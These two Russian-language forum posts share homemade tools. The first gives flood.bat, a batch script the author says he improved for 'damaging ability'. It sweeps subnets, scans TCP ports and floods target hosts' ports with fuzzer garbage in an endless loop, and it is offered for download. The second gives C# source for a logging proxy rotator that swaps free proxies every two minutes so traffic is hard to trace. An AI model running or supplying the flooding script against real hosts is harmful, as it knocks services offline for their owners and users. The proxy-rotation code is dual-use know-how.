try { DataSocket.Shutdown(SocketShutdown.Both); } catch { } try { DataSocket.Close(); } catch { } lock(clients_lock) { for (int i = 0; i < clients.Count; i++) if (clients[i] == DataSocket) { clients.RemoveAt(i); break; } } } } }
Также, я сократил размеры flood.bat в 5 раз, используя подпрограммы и циклы вместо копирования и вставок кода, и улучшил его поражающую способность. Исходники ниже.
Код @echo off
if "%1" == "--ping" goto Ping if "%1" == "--ping2" goto Ping2 if "%1" == "--scan" goto Scan if "%1" == "--scanall" goto Scanall if "%1" == "--crashport" goto Crashport if "%1" == "--crashall" goto Crashall
echo FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port echo USAGE: echo flood --ping 192.168.1 find hosts on local net and shows their names and IP addresses echo flood --ping2 192.168 find hosts on local net level 2 and shows their names and IP addresses echo flood --scan host scan open root tcp ports on given host echo flood --scanall host scan all open tcp ports on given host echo flood --crashport phrase.exe 80 host1... host6 flood port 80 on set of hosts with fuzzer phrase.exe echo flood --crashall phrase.exe host1... host6 flood ports 1-1024 with phrase.exe generator goto exit_me
:Crashport
if not "%4" == "" call :Sendphrase %2 %4 %3 if not "%5" == "" call :Sendphrase %2 %5 %3 if not "%6" == "" call :Sendphrase %2 %6 %3 if not "%7" == "" call :Sendphrase %2 %7 %3 if not "%8" == "" call :Sendphrase %2 %8 %3 if not "%9" == "" call :Sendphrase %2 %9 %3
goto Crashport
:Crashall
for /L %%P in (1, 1, 1024) do (
if not "%3" == "" call :Sendphrase %2 %3 %%P if not "%4" == "" call :Sendphrase %2 %4 %%P if not "%5" == "" call :Sendphrase %2 %5 %%P if not "%6" == "" call :Sendphrase %2 %6 %%P if not "%7" == "" call :Sendphrase %2 %7 %%P if not "%8" == "" call :Sendphrase %2 %8 %%P if not "%9" == "" call :Sendphrase %2 %9 %%P ) goto Crashall
:Ping for /L %%Q in (0, 1, 255) do ( ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q if not errorlevel 1 nslookup %2.%%Q del _1_%2%%Q ) goto exit_me
:Ping2 for /L %%Q in (0, 1, 255) do ( for /L %%R in (0, 1, 255) do ( ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R if not errorlevel 1 nslookup %2.%%Q.%%R del _1_%2.%%Q%%R ) ) goto exit_me
:Scan for /L %%Q in (1, 1, 1024) do ( echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q if not errorlevel 1 echo %%Q open tcp del _1_%2%%Q ) goto exit_me
:Scanall for /L %%Q in (1, 1, 65535) do ( echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q if not errorlevel 1 echo %%Q open tcp del _1_%2.%%Q ) goto exit_me
:Sendphrase echo Crash %2 %3 unicode for /l %%m in (1, 1, 23) do start /b %1|pipesend %2 %3 echo Crash %2 %3 ascii for /l %%m in (1, 1, 23) do start /b %1 -a|pipesend %2 %3 timeout /t 3 exit /b :exit_me
Последняя раздача бинарников и исходников по тексту вверх обновлена на эти две последних версии. Качайте!
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Сообщение отредактировал(а) Talomir - Воскресенье, 04.08.2024, 15:02
|
|
Статус: нет меня
|
|
|
|
Talomir
|
#420 | Воскресенье, 04.08.2024, 23:15
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
РОТАТОР ПРОКСЕЙ И ЛОГГЕР ПРОТОКОЛОВ САЙТОВ
Ротатор проксей является посредником между браузером и прокси-серверами. Он переключает браузер на следующий прокси раз в 2 минуты, так что трафик сложно отслеживать, понимать и перехватывать, что улучшает анонимность и безопасность в интернете. Одна из замен VPN.
Протоколирующий ротатор при этом пишет обмен между браузером и сайтов в текстовый файл, если сайт поддерживает протокол HTTP j можно по протоколу разобрать логику работы сайта, записав сеанс работы с сайтом в файл и тщательно прочитав его. Это не работает с HTTPS сайтами.
Сегодня я за пару часов написал, на имеющихся кусках кода из разных проектов, свой ротатор проксей, протоколирующий. запускается он как C:>logproxy log.txt 8888 127.0.0.1 тут 8888 это порт для прокси-поля браузера, а 127.0.0.1 это адрес прокси-поля для браузера.
logproxy ожидает подключения от браузера, дампит запрос в файл, подбирает хороший прокси через API и посылает данные запроса на удалённый настоящий прокси. И - дампит ответ удалённой машины. То есть он располагается между браузером и прокси-сервером, и раз в 2 минуты менят прокси на новый. Так весь трафик меняет маршруты для неотслеживаемости а HTTP сайты можно анализировать по протоколу зайдя на них через http://
Исходники проекта logproxy
Program.cs
Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Net; using System.Net.Sockets; using System.Threading;
namespace logproxy { class Program { static int listen_port = 8888; static Log log = null;
static Semaphore _bind_socket = new Semaphore(0, 1); static Semaphore _data_socket = new Semaphore(0, 1); static Socket BindSocket = null; static Socket data = null; static int clients = 0;
const int MAXCLIENTS = 512;
static void Main(string[] args) { if (args.Length == 0 || args[0].Equals("-h") || args[0].Equals("--help")) { Console.WriteLine("HTTP proxy rotator and logger for the protocol analyses, v1.0"); Console.WriteLine("USAGE: logproxy file.txt listen_port bind_ip1 bind_ip2..."); return; }
try { listen_port = Int32.Parse(args[1]); } catch { }
log = new Log(args[0]);
List<Task> list = new List<Task>();
for (int i = 2; i < args.Length; i++) try { IPAddress addr = Dns.GetHostAddresses(args[i])[0]; BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); BindSocket.Bind(new IPEndPoint(addr, listen_port)); BindSocket.Listen(1000); list.Add(Task.Run(Accepter)); _bind_socket.WaitOne(); } catch { }
Task.WaitAll(list.ToArray<Task>()); log.Close(); }
static async Task Accepter() { Socket bind = BindSocket; _bind_socket.Release();
bind.ReceiveTimeout = Browser.RWTIMEOUTMS; bind.SendTimeout = Browser.RWTIMEOUTMS;
while (true) try { data = null; try { data = bind.Accept(); } catch { } if (data == null) continue; if (clients++ >= MAXCLIENTS) { try { data.Shutdown(SocketShutdown.Both); } catch { } try { data.Close(); } catch { } clients--; continue; }
Console.WriteLine("accepted new connection!");
Task.Run(SocketReader); _data_socket.WaitOne(); } catch { } } static async Task SocketReader() { Socket DataSocket = data; _data_socket.Release();
Browser browser = new Browser(DataSocket); Proxy proxy = new Proxy();
proxy.Connect();
byte[] buf = new byte[8192];
int r = 0;
do { do { r = browser.Receive(buf);
if (r > 0) { Console.WriteLine("received " + r + " bytes from browser"); log.Write(Buffer.Cut(buf, r), "browser asks"); }
if (proxy.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto ProxyFail;
} while (r > 0);
do { r = proxy.Receive(buf);
if (r > 0) { Console.WriteLine("received " + r + " bytes from proxy"); log.Write(Buffer.Cut(buf, r), "site answers"); }
if (browser.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto BrowserFail;
} while (r > 0);
} while (true);
ProxyFail: BrowserFail:
browser.Close(); proxy.Close();
clients--; } } }
Browser.cs
Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Net; using System.Net.Sockets;
namespace logproxy { internal class Browser { internal static int RWTIMEOUTMS = 300;
protected Socket sok = null; internal Browser(Socket data) { sok = data; }
internal int Receive(byte[] buffer) { try { sok.ReceiveTimeout = RWTIMEOUTMS;
return sok.Receive(buffer);
} catch { return 0; } }
internal int Send(byte[] buffer) { try { sok.SendTimeout = RWTIMEOUTMS;
return sok.Send(buffer);
} catch { return 0; } }
internal void Close() { try { sok.Shutdown(SocketShutdown.Both); } catch { } try { sok.Close(); } catch { } } } }
Proxy.cs
Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Net; using System.Net.Sockets; using System.IO;
namespace logproxy { internal class Proxy { static int RWTIMEOUTMS = 300; static int CONNECTTIMEOUTMS = 400;
protected Socket sok = null; internal Proxy() { ProxyList = GetList(); } internal int Send(byte[] buffer) { try { if (sok == null) sok = Connect(GetNextGoodProxy());
if (sok == null) return 0;
sok.SendTimeout = RWTIMEOUTMS;
return sok.Send(buffer); } catch { return 0; } }
internal int Receive(byte[] buffer) { try { if (sok == null) sok = Connect(GetNextGoodProxy());
if (sok == null) return 0;
sok.ReceiveTimeout = RWTIMEOUTMS;
return sok.Receive(buffer); } catch { return 0; } }
internal bool Connect() { try { sok = Connect(GetNextGoodProxy());
if (sok != null) return true; } catch { }
return false; }
internal void Close() { try { sok.Shutdown(SocketShutdown.Both); } catch { } try { sok.Close(); } catch { } sok = null; }
protected Socket Connect(string proxy) { try { string host = proxy.Replace("http://", "").Replace("https://", "").Split(':')[0]; int port = Int32.Parse(proxy.Replace("http://", "").Replace("https://", "").Split(':')[1]);
IPAddress ip = Dns.GetHostAddresses(host)[0];
Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sok.ReceiveTimeout = RWTIMEOUTMS; sok.SendTimeout = RWTIMEOUTMS;
IAsyncResult result = sok.BeginConnect(ip, port, null, null);
bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);
if (sok.Connected) return sok;
try { sok.Shutdown(SocketShutdown.Both); } catch { } try { sok.Close(); } catch { }
} catch { }
return null; }
static string last_good_proxy = ""; static DateTime last_check_time = DateTime.Now; static object last_lock = new object(); protected string GetNextGoodProxy(int maxtry = 50) { try { for (int i = 0; i < maxtry; i++) { if (LastProxy.Length > 0) return LastProxy;
string proxy = GetNext;
Console.WriteLine("checking proxy " + proxy + "...");
if (CheckProxy(proxy, "http://www.microsoft.com") && CheckProxy(proxy, "https://www.microsoft.com") ) { LastProxy = proxy; return proxy; } } } catch { }
Console.WriteLine("error: no good proxy found"); return ""; }
protected string LastProxy { get { lock (last_lock) { if (DateTime.Now.Subtract(last_check_time).TotalMinutes <= 2 && last_good_proxy.Length > 0) return last_good_proxy; else return ""; } } set { lock (last_lock) { last_good_proxy = value; last_check_time = DateTime.Now; } } }
protected bool CheckProxy(string proxy, string testurl = "http://www.microsoft.com") { try { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(testurl);
request.Timeout = 5000; request.Proxy = new WebProxy(proxy);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();
if (ResponseString.Length > 1024) return true; } catch { }
return false; }
protected List<string> ProxyList = new List<string>(); protected int ListIndex = 0;
public string GetNext { get { try { if (ListIndex >= ProxyList.Count) { ProxyList = GetList(); ListIndex = 0; } string proxy = ProxyList[ListIndex++];
return proxy;
} catch { return ""; } } }
internal List<string> GetList() { try { HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all");
request.Timeout = 5000; request.Proxy = null;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();
string[] ar = ResponseString.Split('\n');
List<string> res = new List<string>();
foreach (string l in ar) if (l.Trim('\r', '\n', '\t', ' ').Length > 0) res.Add("http://" + l.Trim('\r', '\n', '\t', ' '));
return res; } catch { return new List<string>(); } }
} }
Log.cs
Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.IO;
namespace logproxy { internal class Log { string filename = "log.txt"; FileStream fs = null; object fs_lock = new object(); internal Log(string filename, bool overrite = false) { try { this.filename = filename; if (overrite) File.WriteAllText(filename, "");
fs = new FileStream(filename, FileMode.OpenOrCreate); } catch { } }
internal void Close() { try { fs.Close(); } catch { } }
internal bool Write (byte[] data, string Comment) { lock (fs_lock) try { byte[] b = Encoding.ASCII.GetBytes("\r\n\r\n\r\n[ " + DateTime.Now+": " + Comment + " ]\r\n"); fs.Write(b, 0, b.Length); fs.Write(data, 0, data.Length); return true; } catch { return false; } } } }
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|